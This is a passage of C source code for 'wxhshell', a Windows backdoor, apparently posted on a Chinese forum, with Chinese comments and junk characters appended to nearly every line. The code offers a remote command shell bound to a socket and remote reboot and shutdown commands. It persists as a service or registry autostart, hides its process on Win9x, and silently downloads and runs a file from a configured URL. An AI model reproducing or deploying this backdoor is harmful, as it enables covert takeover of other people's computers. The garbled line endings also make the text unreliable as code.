    switch(cmd[0]) { @RZbo@{~  
  %~:@}C%A  
  // 帮助 ftz-l&5  
  case '?': { |kY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yeam-8  
    break; oB(9{6@N  
  } EE*|#  
  // 安装 8)>4ZNXz  
  case 'i': { BOD!0CR5  
    if(Install()) y;%\ w-.\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'48mip  
    else MDZPp;\)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6~l+wu<$  
    break; -p"}K~lt:  
    } NiMsAI@j  
  // 卸载 kQp*+ras  
  case 'r': { )NK#}c~5  
    if(Uninstall()) x)pR^t7u8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/q`k  
    else Cj=_WWo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r$<M*z5q(\  
    break; G#~U\QlG-  
    } yg4#,4---b  
  // 显示 wxhshell 所在路径 %)Z,?DzZ  
  case 'p': { Res4;C  
    char svExeFile[MAX_PATH]; 5j v*C]z  
    strcpy(svExeFile,"\n\r"); %f?Zg44  
      strcat(svExeFile,ExeFile); ??P %.  
        send(wsh,svExeFile,strlen(svExeFile),0); a)L|kux;l  
    break; F2{SC?U  
    } VUOe7c=  
  // 重启 R?y_tho4A  
  case 'b': { 4];>O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5LZs_%#  
    if(Boot(REBOOT)) P @Fx6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [dXa,  
    else { BY9Z}/{j  
    closesocket(wsh); D< kf/hj  
    ExitThread(0); ?M^qSo=/~  
    } 3.9/mztS  
    break; Dk&(QajL  
    } ~pHuh#>  
  // 关机 h/2@4XKj  
  case 'd': { %<r}V<OeR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  F&lH5  
    if(Boot(SHUTDOWN)) @NL37C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!yd(p=cL  
    else { xLms|jS  
    closesocket(wsh); Xpv<v[a  
    ExitThread(0); j\NCoos  
    } B)/c]"@89  
    break; qO/3:-  
    } #*%?]B=  
  // 获取shell 7VskZbj\  
  case 's': { =A~5?J=  
    CmdShell(wsh); I_e7rE0 `  
    closesocket(wsh); WJI}~/z;C  
    ExitThread(0); [mj=m?j  
    break; !E|R3e X_  
  } A'Z!l20_  
  // 退出 k2fJ  
  case 'x': { gvPHB+#A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S(^YTb7  
    CloseIt(wsh); &kn?=NW  
    break; BS?i!Bm7  
    } 72/ bC  
  // 离开 -8vGvI>  
  case 'q': { Y; iI =U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] _W'-B  
    closesocket(wsh); B.KK@  
    WSACleanup(); 4>2\{0r  
    exit(1); Dm$SW<!l|  
    break; @=2u;$.  
        } }x& X vI  
  } KS1udH^Zc  
  } b4EUr SL  
Y+kuj],h  
  // 提示信息 {U@"]{3Qx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,\i,2<hz.  
} K9Onjs% U  
  } SL`; `//  
}_-tJ.  
  return; X"mPRnE330  
} JG&E"j#q  
$at\aJ  
// shell模块句柄 +t&+f7  
int CmdShell(SOCKET sock) :'xZF2  
{ T!Tp:&O-  
STARTUPINFO si; (/Jy9 =~  
ZeroMemory(&si,sizeof(si)); t=My=pG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V|F/ynJfA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \){_\{&  
PROCESS_INFORMATION ProcessInfo; q(WGvl^r  
char cmdline[]="cmd"; X}5"ZLa7l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .gN ziDO  
  return 0; UtC<TBr  
} \ So)g)K  
P[$idRS&  
// 自身启动模式 }'86hnW  
int StartFromService(void) Z\]LG4N?  
{  Hyenn  
typedef struct }}u`*&,g  
{ Fe+(+ S  
  DWORD ExitStatus; vO53?vN[m9  
  DWORD PebBaseAddress; MxUQF?@6  
  DWORD AffinityMask; /?0|hi<_$  
  DWORD BasePriority; #%8)'=1+4?  
  ULONG UniqueProcessId; L>&{<M_  
  ULONG InheritedFromUniqueProcessId; pAq PHD=  
}   PROCESS_BASIC_INFORMATION; O*lIZ,!n  
<AiE~l| D  
PROCNTQSIP NtQueryInformationProcess; 68w~I7D>  
Z-pZyDz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mey -Bn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )~S`[jV5  
1(*+_TvZ  
  HANDLE             hProcess; x^i97dZS^"  
  PROCESS_BASIC_INFORMATION pbi; 1HqN`])l/j  
t/%[U,m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tUW^dGo.  
  if(NULL == hInst ) return 0; {5HQ=&  
g z uWhQo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m(dW["8D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &j/,8 Z*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <0m^b#hdG  
>WJQxL4  
  if (!NtQueryInformationProcess) return 0; }6 u)wF5  
j|qdf3^f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U#sv.r/L}3  
  if(!hProcess) return 0; aqImW  
: ;hm^m]Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a;kiAJ'  
jsF5q~F  
  CloseHandle(hProcess); ME$J?3r  
S$P=;#r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;9-J=@KY4  
if(hProcess==NULL) return 0; BZKg:;9  
^y93h8\y  
HMODULE hMod; s&CK  
char procName[255]; l}T@Cgt  
unsigned long cbNeeded; beT[7uVj_  
:/Z1$xS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0B2f[A  
"4T36b  
  CloseHandle(hProcess); s<:) ;-tL  
33a}M;vx  
if(strstr(procName,"services")) return 1; // 以服务启动 NXz/1ut%  
 BPKrRex  
  return 0; // 注册表启动 >{A)d<  
} D5xTuv9T  
iCGHcN^3  
// 主模块 !Htl e %  
int StartWxhshell(LPSTR lpCmdLine) @Jlsx0i}}  
{ _ 5b~3K/V  
  SOCKET wsl; n:?a=xY  
BOOL val=TRUE; E0aFHC[  
  int port=0; xc05GJ  
  struct sockaddr_in door; ^vzXT>t-M  
MCIuP`sC|  
  if(wscfg.ws_autoins) Install(); sYSq>M  
gdh|X[d  
port=atoi(lpCmdLine); muBl~6_mb2  
pN)>c,  
if(port<=0) port=wscfg.ws_port; .)1u0 (?  
{}gL*2:EW$  
  WSADATA data; *IF ~ab2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $RHw6*COG  
z,@R jaX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VG$%Vs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tc/<b2 \g  
  door.sin_family = AF_INET; CPY|rV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W>,D$  
  door.sin_port = htons(port); 2$2@?]|?  
31%3&B:Ts  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &Ot9"Aq:  
closesocket(wsl); jH;L7  
return 1; :; La V  
}  ;Yg/y  
m1tc="j  
  if(listen(wsl,2) == INVALID_SOCKET) { dDA&\BuS  
closesocket(wsl); DGz}d,ie  
return 1; D.a\O9q"&{  
} <iH"5DEe  
  Wxhshell(wsl); CHL5@gg@>y  
  WSACleanup(); c"Q9ob  
})q8{Qj!  
return 0; /nt%VLms %  
5twG2p8  
} b `cH.v  
Iu;VFa  
// 以NT服务方式启动 z~1S/,Ca  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1pN8,[hyR7  
{ l~@ -oE  
DWORD   status = 0; A9Pq}3U  
  DWORD   specificError = 0xfffffff; K!-iDaVI  
z_y@4B6>}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'k<~HQr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z%SDN"+'g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fq):'E)  
  serviceStatus.dwWin32ExitCode     = 0; bQu@.'O!k  
  serviceStatus.dwServiceSpecificExitCode = 0; bZ+H u~  
  serviceStatus.dwCheckPoint       = 0; =}e{U&CX  
  serviceStatus.dwWaitHint       = 0; ws,VO*4  
]*{tno  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'X_%m~}N  
  if (hServiceStatusHandle==0) return; \@^` G  
^~bAixH^k  
status = GetLastError(); <){J|O  
  if (status!=NO_ERROR) 92*"3)  
{ "9y 0]~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uL~.#Y_jQ  
    serviceStatus.dwCheckPoint       = 0; SuBUhzR  
    serviceStatus.dwWaitHint       = 0; Q[aBxy (  
    serviceStatus.dwWin32ExitCode     = status; H^$7=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5<oV>|*@{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ik=bgEF  
    return; ag!q:6&  
  } rC,ZRFF  
#g1,U7vv8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;M *G  
  serviceStatus.dwCheckPoint       = 0; "T>;wyGW  
  serviceStatus.dwWaitHint       = 0; d#I; e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8Urj;KkD  
} S;nlC  
^Uik{x  
// 处理NT服务事件,比如:启动、停止 C33RXt$X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Zaw>p*H  
{ #!4 HSBf  
switch(fdwControl) I5rAL\y-G  
{ -8t&&fIA  
case SERVICE_CONTROL_STOP: SMA' VU  
  serviceStatus.dwWin32ExitCode = 0; wPJA+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h]o{> |d9  
  serviceStatus.dwCheckPoint   = 0; ^VjF W  
  serviceStatus.dwWaitHint     = 0; sz4;hSTy  
  { >T^BD'z@'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O[9A}g2~  
  } ,sp((SF]1  
  return; qa?0GTAS  
case SERVICE_CONTROL_PAUSE: V24FzQ?z:.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f!cYLU1e@  
  break; TM,Fab &  
case SERVICE_CONTROL_CONTINUE: -&np/tEu&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;7mE%1X  
  break; MQo/R,F }  
case SERVICE_CONTROL_INTERROGATE: ]%h|ox0  
  break; LJ*W&y(2>Q  
}; H4ancmy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $~1~+s0$  
} e:n3@T,R  
 U%tpNWB  
// 标准应用程序主函数 N8m3 Wy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &2pa9i  
{ cN]g^  
iE"+-z\U  
// 获取操作系统版本 )Tf,G[z&ge  
OsIsNt=GetOsVer(); Twk,R. O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \U HI%1^  
xG,L*3c{o  
  // 从命令行安装 OH`|aqN  
  if(strpbrk(lpCmdLine,"iI")) Install(); zj#8@gbh+  
2P?|'U  
  // 下载执行文件 Q::_i"?c  
if(wscfg.ws_downexe) { _Xfn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h09fU5l  
  WinExec(wscfg.ws_filenam,SW_HIDE); jd}-&DN  
} XchVsA  
wv&%09U  
if(!OsIsNt) { 'o ZdMl&  
// 如果时win9x,隐藏进程并且设置为注册表启动 oP`Qyk  
HideProc(); `4t*H>:y  
StartWxhshell(lpCmdLine); 5uL!Ae  
} $1bzsB|^  
else Y:]m~-T  
  if(StartFromService()) tS3{y*yi  
  // 以服务方式启动 dZ,~yV  
  StartServiceCtrlDispatcher(DispatchTable); tP|ox]  
else Xm~N Bt  
  // 普通方式启动 |OO2>(Fj  
  StartWxhshell(lpCmdLine); -AM(-  
!u=A9i!  
return 0; OF1Qr bj  
}
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只看该作者 1 发表于: 2006-10-10
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